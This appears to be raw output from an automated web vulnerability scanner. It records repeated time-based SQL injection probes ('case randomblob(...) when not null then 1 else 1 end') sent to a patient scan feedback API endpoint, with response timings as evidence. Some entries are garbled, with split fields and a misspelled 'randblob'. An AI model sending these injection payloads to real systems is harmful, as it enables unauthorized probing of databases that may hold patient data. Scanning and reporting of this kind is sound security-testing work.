Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [782] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,053] milliseconds, when the original unmodified query with value [706] took [784] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [782] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,053] milliseconds, when the original unmodified query with value [706] took [784] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [831] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,576] milliseconds, when the original unmodified query with value [458] took [3,015] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [831] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,576] milliseconds, when the original unmodified query with value [458] took [3,015] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [846] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,937] milliseconds, when the original unmodified query with value [344] took [1,582] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [846] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [5,937] milliseconds, when the original unmodified query with value [344] took [1,582] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [866] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,148] milliseconds, when the original unmodified query with value [363] took [1,566] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [866] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,148] milliseconds, when the original unmodified query with value [363] took [1,566] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [917] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,164] milliseconds, when the original unmodified query with value [336] took [1,722] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [917] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,164] milliseconds, when the original unmodified query with value [336] took [1,722] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [928] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,085] milliseconds, when the original unmodified query with value [1069] took [1,642] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [928] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,085] milliseconds, when the original unmodified query with value [1069] took [1,642] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [962] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,260] milliseconds, when the original unmodified query with value [827] took [3,416] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(1000000) when not null then 1 else 1 end], which caused the request to take [962] milliseconds, parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,260] milliseconds, when the original unmodified query with value [827] took [3,416] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,039] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,444] milliseconds, when the original unmodified query with value [517] took [1,320] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,039] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,444] milliseconds, when the original unmodified query with value [517] took [1,320] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,044] milliseconds,
Evidence	parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [5,401] milliseconds, when the original unmodified query with value [490] took [3,362] milliseconds.

Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,044] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [5,401] milliseconds, when the original unmodified query with value [490] took [3,362] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,051] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,432] milliseconds, when the original unmodified query with value [292] took [778] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,051] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,432] milliseconds, when the original unmodified query with value [292] took [778] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,066] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,094] milliseconds, when the original unmodified query with value [573] took [853] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,066] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,094] milliseconds, when the original unmodified query with value [573] took [853] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,080] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,717] milliseconds, when the original unmodified query with value [339] took [1,352] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,080] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,717] milliseconds, when the original unmodified query with value [339] took [1,352] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,100] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,404] milliseconds, when the original unmodified query with value [300] took [1,142] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,100] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,404] milliseconds, when the original unmodified query with value [300] took [1,142] milliseconds.

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,112] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,756] milliseconds, when the original unmodified query with value [878] took [882] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,112] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,756] milliseconds, when the original unmodified query with value [878] took [882] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,137] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,295] milliseconds, when the original unmodified query with value [327] took [431] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,137] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,295] milliseconds, when the original unmodified query with value [327] took [431] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,229] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,015] milliseconds, when the original unmodified query with value [875] took [790] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,229] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,015] milliseconds, when the original unmodified query with value [875] took [790] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,254] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,463] milliseconds, when the original unmodified query with value [278] took [1,845] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,254] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which
Info	caused the request to take [4,463] milliseconds, when the original unmodified query with value [278] took [1,845] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,259] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,593] milliseconds, when the original unmodified query with value [287] took [1,408] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,259] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,593] milliseconds, when the original unmodified query with value [287] took [1,408] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,268] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [5,214] milliseconds, when the original unmodified query with value [292] took [882] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,268] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [5,214] milliseconds, when the original unmodified query with value [292] took [882] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,274] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,496] milliseconds, when the original unmodified query with value [209] took [771] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,274] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,496] milliseconds, when the original unmodified query with value [209] took [771] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,281] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,538] milliseconds, when the original unmodified query with value [810] took [2,275] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,281] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,538] milliseconds, when the original unmodified query with value [810] took [2,275] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,282] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,553] milliseconds, when the original unmodified query with value [822] took [2,159] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,282] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,553] milliseconds, when the original unmodified query with value [822] took [2,159] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,323] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,637] milliseconds, when the original unmodified query with value [461] took [1,083] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,323] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,637] milliseconds, when the original unmodified query with value [461] took [1,083] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,336] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,776] milliseconds, when the original unmodified query with value [517] took [2,697] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,336] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,776] milliseconds, when the original unmodified query with value [517] took [2,697] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,347] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,272] milliseconds, when the original unmodified query with value [217] took [4,135] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,347] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,272] milliseconds, when the original unmodified query with value [217] took [4,135] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,354] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,841] milliseconds, when the original unmodified query with value [824] took [1,408] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,354] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,841] milliseconds, when the original unmodified query with value [824] took [1,408] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,426] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,287] milliseconds, when the original unmodified query with value [314] took [255] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,426] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,287] milliseconds, when the original unmodified query with value [314] took [255] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,473] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,986] milliseconds, when the original unmodified query with value [212] took [773] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,473] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,986] milliseconds, when the original unmodified query with value [212] took [773] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,493] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,330] milliseconds, when the original unmodified query with value [327] took [1,017] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,493] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,330] milliseconds, when the original unmodified query with value [327] took [1,017] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,528] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which

	caused the request to take [2,829] milliseconds, when the original unmodified query with value [241] took [786] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,528] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,829] milliseconds, when the original unmodified query with value [241] took [786] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,536] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,225] milliseconds, when the original unmodified query with value [346] took [772] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,536] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,225] milliseconds, when the original unmodified query with value [346] took [772] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,546] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,754] milliseconds, when the original unmodified query with value [684.7686274509804] took [2,404] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,546] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,754] milliseconds, when the original unmodified query with value [684.7686274509804] took [2,404] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,656] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,667] milliseconds, when the original unmodified query with value [805] took [1,936] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,656] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,667] milliseconds, when the original unmodified query with value [805] took [1,936] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [1,657] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,890] milliseconds, when the original unmodified query with value [373] took [1,701] milliseconds.
	The query time is controllable using parameter value [case randomblob(10000000) when

Other Info	not null then 1 else 1 end], which caused the request to take [1,657] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,890] milliseconds, when the original unmodified query with value [373] took [1,701] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,754] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,853] milliseconds, when the original unmodified query with value [295] took [2,117] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,754] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,853] milliseconds, when the original unmodified query with value [295] took [2,117] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,830] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,064] milliseconds, when the original unmodified query with value [285] took [789] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,830] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,064] milliseconds, when the original unmodified query with value [285] took [789] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,842] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,084] milliseconds, when the original unmodified query with value [322] took [258] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,842] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,084] milliseconds, when the original unmodified query with value [322] took [258] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,950] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,898] milliseconds, when the original unmodified query with value [805] took [258] milliseconds.
Other	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,950] milliseconds,

Info	parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,898] milliseconds, when the original unmodified query with value [805] took [258] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,969] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,310] milliseconds, when the original unmodified query with value [1443] took [3,983] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,969] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,310] milliseconds, when the original unmodified query with value [1443] took [3,983] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,980] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,859] milliseconds, when the original unmodified query with value [888] took [2,104] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,980] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,859] milliseconds, when the original unmodified query with value [888] took [2,104] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,994] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,220] milliseconds, when the original unmodified query with value [1325] took [1,276] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,994] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,220] milliseconds, when the original unmodified query with value [1325] took [1,276] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,015] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,106] milliseconds, when the original unmodified query with value [217] took [2,848] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,015] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,106] milliseconds, when the original unmodified query with value [217] took [2,848] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,054] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,034] milliseconds, when the original unmodified query with value [485] took [1,279] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,054] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,034] milliseconds, when the original unmodified query with value [485] took [1,279] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,086] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,979] milliseconds, when the original unmodified query with value [888] took [2,482] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,086] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,979] milliseconds, when the original unmodified query with value [888] took [2,482] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,105] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,982] milliseconds, when the original unmodified query with value [205] took [1,304] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,105] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,982] milliseconds, when the original unmodified query with value [205] took [1,304] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,114] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,731] milliseconds, when the original unmodified query with value [466] took [2,972] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,114] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,731] milliseconds, when the original unmodified query with value [466] took [2,972] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
